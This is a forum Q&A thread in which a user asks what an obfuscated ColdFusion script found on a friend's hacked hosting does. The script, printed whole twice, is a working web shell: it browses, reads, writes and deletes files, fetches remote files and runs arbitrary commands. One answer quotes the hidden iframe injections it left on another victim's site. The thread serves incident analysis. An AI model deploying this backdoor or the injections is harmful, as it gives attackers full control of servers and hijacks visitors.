CFML strange script found in hosting

Question

Just found a script on a friend's hacked webspace. As far as I can see the script accepts some post variables and does some things like show directory content, upload file, delete file, read binary file, not very documented though. Can anybody enlighten me on what it does more exactly? Is not formated but on a single line for "obfuscation" I think. Thanks!

<CFSET O="" /><CFTRY><CFSWITCH EXPRESSION=#Form.chopper#><CFCASE VALUE="A"><CFSCRIPT>O=O&Expandpath("./")&Chr(9);
for(c=65;c lt 91;c=c+1){if(DirectoryExists(Chr(c)&":\"))O=O&Chr(c)&":";}</CFSCRIPT></CFCASE><CFCASE VALUE="B">
<CFDIRECTORY DIRECTORY="#Form.z1#" NAME="D" SORT="Type"><CFLOOP Query="D"><CFSCRIPT>O=O&D.Name;If(D.Type eq "Dir")O=O&"/";
O=O&Chr(9)&DateFormat(D.DateLastModified,"yyyy-mm-dd")&TimeFormat(D.DateLastModified," HH:MM:ss")&Chr(9)&D.Size&Chr(9);
If(Left(Form.z1,1) eq "/"){O=O&D.Mode;}else{O=O&D.Attributes;}O=O&Chr(10);</CFSCRIPT></CFLOOP></CFCASE><CFCASE VALUE="C">
<CFFILE ACTION="Read" FILE="#Form.z1#" VARIABLE="O"></CFCASE><CFCASE VALUE="D"><CFFILE ACTION="Write" FILE="#Form.z1#" OUTPUT="#Form.z2#">
<CFSET O="1" /></CFCASE><CFCASE VALUE="E"><CFSCRIPT>Function DF(P){F=CreateObject("java","java.io.File").init(P);L=0;i=0;
if(F.isDirectory()){L=F.listFiles();for(i=1;i lte ArrayLen(L);i=i+1){if(not L[i].delete()){DF(L[i].getPath());}}}F.delete();}
DF(Form.z1);O="1";</CFSCRIPT></CFCASE><CFCASE VALUE="F"><cffile action="readbinary" file="#Form.z1#" variable="B" />
<cfset J=CreateObject("java","java.nio.ByteBuffer") /><cfset X=J.Allocate(JavaCast( "int", ArrayLen(B)+6)) />
<cfset X.Put(ToBinary(ToBase64("->"&"|")), JavaCast("int",0), 3 ) /><cfset X.Put(B, JavaCast("int",0), JavaCast("int",ArrayLen(B)) ) />
<cfset X.Put(ToBinary(ToBase64("|"&"<-")), JavaCast("int",0), 3 ) /><CFCONTENT Type="application/octet-stream" Variable="#X.Array()#">
<CFABORT></CFCASE><CFCASE VALUE="G"><CFSCRIPT>F=CreateObject("java","java.io.FileOutputStream");F.init(Form.z1);
h="0123456789ABCDEF";C=Form.z2;for(i=0;i lt Len(C);i=i+2){F.write(BitOr(BitSHLN(h.indexOf(C.charAt(i)),4),h.indexOf(C.charAt(i+1))));}
F.close();O="1";</CFSCRIPT></CFCASE><CFCASE VALUE="H"><CFFUNCTION Name="cpf"><CFARGUMENT Name="S"><CFARGUMENT Name="D">
<CFFILE ACTION="Copy" SOURCE="#S#" DESTINATION="#D#"></CFFUNCTION><CFSCRIPT>Function CP(S,D){sf=CreateObject("java","java.io.File").init(S);
df=CreateObject("java","java.io.File").init(D);L=0;i=0;if(sf.isDirectory()){if(not df.exists()){df.mkdir();}L=sf.listFiles();
for(i=1;i lte ArrayLen(L);i=i+1){if(L[i].isDirectory()){CP(L[i].getPath(),df.getPath()&"/"&L[i].getName());}else{
cpf(L[i].getPath(),df.getPath()&"/"&L[i].getName());}}}else{cpf(S,D);}}CP(Form.z1,Form.z2);O="1";</CFSCRIPT></CFCASE>
<CFCASE VALUE="I"><CFFILE ACTION="MOVE" SOURCE="#Form.z1#" DESTINATION="#Form.z2#"><CFSET O="1" /></CFCASE><CFCASE VALUE="J">
<CFDIRECTORY Directory="#Form.z1#" Action="Create"><CFSET O="1" /></CFCASE><CFCASE VALUE="K"><CFSCRIPT>
FileSetLastModified(Form.z1,ParseDateTime(Form.z2));O="1";</CFSCRIPT></CFCASE><CFCASE VALUE="L"><CFSCRIPT>Z=Form.z2;
For(i=Len(Z);i gt 0;i=i-1){if(Mid(Z,i,1) eq "/" Or Mid(Z,i,1) eq "\"){Break;}}P=Left(Z,i);F=Mid(Z,i+1,256);</CFSCRIPT>
<CFHTTP METHOD="Get" URL="#Form.z1#" PATH="#P#" FILE="#F#"><CFSET O="1" /></CFCASE><CFCASE VALUE="M">
<CFEXECUTE Name="#Mid(Form.z1,3,Len(Form.z1)-2)#" Arguments="#Mid(Form.z1,1,2)# #Form.z2#" Variable="O" TimeOut="60" />
</CFCASE></CFSWITCH><CFCATCH Type="Any"><CFSET O="ERROR:// "&CFCatch.Message /></CFCATCH>
</CFTRY><CFOUTPUT>->#Chr(124)&O&Chr(124)#<-</CFOUTPUT>

I kind of formatted it manually below:

<CFSET O="" />
<CFTRY>
<CFSWITCH EXPRESSION=#Form.chopper#>
<CFCASE VALUE="A">
    <CFSCRIPT>O=O&Expandpath("./")&Chr(9);for(c=65;c lt 91;c=c+1){if(DirectoryExists(Chr(c)&":\"))O=O&Chr(c)&":";}</CFSCRIPT>
</CFCASE>
<CFCASE VALUE="B">
    <CFDIRECTORY DIRECTORY="#Form.z1#" NAME="D" SORT="Type">
    <CFLOOP Query="D">
    <CFSCRIPT>O=O&D.Name;If(D.Type eq "Dir")O=O&"/";O=O&Chr(9)&DateFormat(D.DateLastModified,"yyyy-mm-dd")&TimeFormat(D.DateLastModified," HH:MM:ss")&Chr(9)&D.Size&Chr(9);If(Left(Form.z1,1) eq "/"){O=O&D.Mode;}else{O=O&D.Attributes;}O=O&Chr(10);</CFSCRIPT>
    </CFLOOP>
</CFCASE>
<CFCASE VALUE="C">
    <CFFILE ACTION="Read" FILE="#Form.z1#" VARIABLE="O">
</CFCASE>
<CFCASE VALUE="D">
    <CFFILE ACTION="Write" FILE="#Form.z1#" OUTPUT="#Form.z2#">
    <CFSET O="1" />
</CFCASE>
<CFCASE VALUE="E">
    <CFSCRIPT>Function DF(P){F=CreateObject("java","java.io.File").init(P);L=0;i=0;if(F.isDirectory()){L=F.listFiles();for(i=1;i lte ArrayLen(L);i=i+1){if(not L[i].delete()){DF(L[i].getPath());}}}F.delete();}DF(Form.z1);O="1";</CFSCRIPT>
</CFCASE>
<CFCASE VALUE="F">
    <cffile action="readbinary" file="#Form.z1#" variable="B" />
    <cfset J=CreateObject("java","java.nio.ByteBuffer") />
    <cfset X=J.Allocate(JavaCast( "int", ArrayLen(B)+6)) />
    <cfset X.Put(ToBinary(ToBase64("->"&"|")), JavaCast("int",0), 3 ) />
    <cfset X.Put(B, JavaCast("int",0), JavaCast("int",ArrayLen(B)) ) />
    <cfset X.Put(ToBinary(ToBase64("|"&"<-")), JavaCast("int",0), 3 ) />
    <CFCONTENT Type="application/octet-stream" Variable="#X.Array()#">
    <CFABORT>
</CFCASE>
<CFCASE VALUE="G">
    <CFSCRIPT>F=CreateObject("java","java.io.FileOutputStream");F.init(Form.z1);h="0123456789ABCDEF";C=Form.z2;for(i=0;i lt Len(C);i=i+2){F.write(BitOr(BitSHLN(h.indexOf(C.charAt(i)),4),h.indexOf(C.charAt(i+1))));}F.close();O="1";</CFSCRIPT>
</CFCASE>
<CFCASE VALUE="H">
    <CFFUNCTION Name="cpf">
    <CFARGUMENT Name="S">
    <CFARGUMENT Name="D">
    <CFFILE ACTION="Copy" SOURCE="#S#" DESTINATION="#D#">
    </CFFUNCTION>
    <CFSCRIPT>Function CP(S,D){sf=CreateObject("java","java.io.File").init(S);df=CreateObject("java","java.io.File").init(D);L=0;i=0;if(sf.isDirectory()){if(not df.exists()){df.mkdir();}L=sf.listFiles();for(i=1;i lte ArrayLen(L);i=i+1){if(L[i].isDirectory()){CP(L[i].getPath(),df.getPath()&"/"&L[i].getName());}else{cpf(L[i].getPath(),df.getPath()&"/"&L[i].getName());}}}else{cpf(S,D);}}CP(Form.z1,Form.z2);O="1";</CFSCRIPT>
</CFCASE>
<CFCASE VALUE="I">
    <CFFILE ACTION="MOVE" SOURCE="#Form.z1#" DESTINATION="#Form.z2#"><CFSET O="1" />
</CFCASE>
<CFCASE VALUE="J">
    <CFDIRECTORY Directory="#Form.z1#" Action="Create"><CFSET O="1" />
</CFCASE>
<CFCASE VALUE="K">
    <CFSCRIPT>FileSetLastModified(Form.z1,ParseDateTime(Form.z2));O="1";</CFSCRIPT>
</CFCASE>
<CFCASE VALUE="L">
    <CFSCRIPT>Z=Form.z2;For(i=Len(Z);i gt 0;i=i-1){if(Mid(Z,i,1) eq "/" Or Mid(Z,i,1) eq "\"){Break;}}P=Left(Z,i);F=Mid(Z,i+1,256);</CFSCRIPT>
<CFHTTP METHOD="Get" URL="#Form.z1#" PATH="#P#" FILE="#F#"><CFSET O="1" />
</CFCASE>
<CFCASE VALUE="M">
    <CFEXECUTE Name="#Mid(Form.z1,3,Len(Form.z1)-2)#" Arguments="#Mid(Form.z1,1,2)# #Form.z2#" Variable="O" TimeOut="60" />
</CFCASE>
</CFSWITCH>
<CFCATCH Type="Any">
    <CFSET O="ERROR:// "&CFCatch.Message />
</CFCATCH>
</CFTRY>
<CFOUTPUT>->#Chr(124)&O&Chr(124)#<-</CFOUTPUT>

open it with ColdFusion Builder 2 and go Ctrl+Shift+F to format the code into a hopefully readable form! — Henry, Oct 27 '12 at 11:42
Seems Ctrl+Shift+F doesn't do anything, you sure that formats the code under Coldfusion Builder 2? — bsteo, Oct 27 '12 at 12:12
yes, make sure you paste the code above in a .cfm in CFBuilder 2. — Henry, Oct 27 '12 at 12:15
_"As far as I can see ... show directory content, upload file, delete file, read binary file..."_ ...And? What more do you need to know? :/ Obviously the attacker wanted another access method in case the original vulnerability that let them in was patched. What benefit is there in describing the things the script does in more detail than you've already done yourself? — Peter Boughton, Oct 27 '12 at 13:32
You pretty much described what it does, which is obtain full file access, including execution. — Leigh, Oct 27 '12 at 16:35

user1788401 · Answer 1 · 2012-10-31T12:13:30.700

We were attacked by someone putting the same script on our server. The above code needed to be decrypted with cfdecrypt.

The result for our website was inserting this code into a number of files:

<iframe  name="top_stories9a" id="top_stories9a" marginwidth="1" marginheight="1" width="210" height="1" src="http://www.collegefun4u.com/" SCROLLING="no" FRAMEBORDER="0"></iframe>

and

<iframe  name="top_stories9a" id="top_stories9a" marginwidth="1" marginheight="1" width="1" height="1" src="http://%77%77%77%2E%63%6F%6C%6C%65%67%65%66%75%6E%34%75%2E%63%6F%6D" SCROLLING="no" FRAMEBORDER="0"></iframe>

So if anyone is having the same issues, then it's worth doing a search for the above code and removing it. When encrypted it starts with:

Allaire Cold Fusion Template
Header Size: New Version

Hope this helps anyone else attacked by the same people.

I've run a malware scanner on our server, but it hasn't turned up anything else that may have been installed, but if anyone has any extra info any possible backdoors that may have been installed by this attack, then that would help.

Thanks.

Seems they put some iframes on your site to steal your traffic maybe to be used in some browser exploit kits, seen that often. — bsteo, Oct 31 '12 at 17:57

score 0 · Accepted Answer · answered Oct 27 '12 at 16:07

0

Solved. It does what I said before.

answered Oct 27 '12 at 16:07

bsteo

1,738
6
34
60

CFML strange script found in hosting

2 Answers2

Linked